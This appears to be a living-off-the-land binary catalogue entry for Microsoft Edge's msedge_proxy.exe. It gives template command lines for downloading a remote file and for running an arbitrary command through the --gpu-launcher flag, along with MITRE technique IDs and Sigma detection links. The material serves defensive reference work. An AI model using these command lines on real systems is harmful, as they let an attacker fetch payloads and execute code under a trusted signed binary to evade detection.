Download File Download Windows msedge_proxy will download malicious file. Use Download file from the internet C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe {REMOTEURL:.zip} copy Contextuser NativeDownload MITRET1105 DetectionSigma: github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_susp_electron_execution_proxy.yml Refslolbas-project.github.io/lolbas/Binaries/msedge_proxy/
Execute Execution Windows msedge_proxy.exe will execute file in the background Use Executes a process under a trusted Microsoft signed binary C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&" copy Contextuser NativeExecute MITRET1218.015 DetectionSigma: github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_susp_electron_execution_proxy.yml Refslolbas-project.github.io/lolbas/Binaries/msedge_proxy/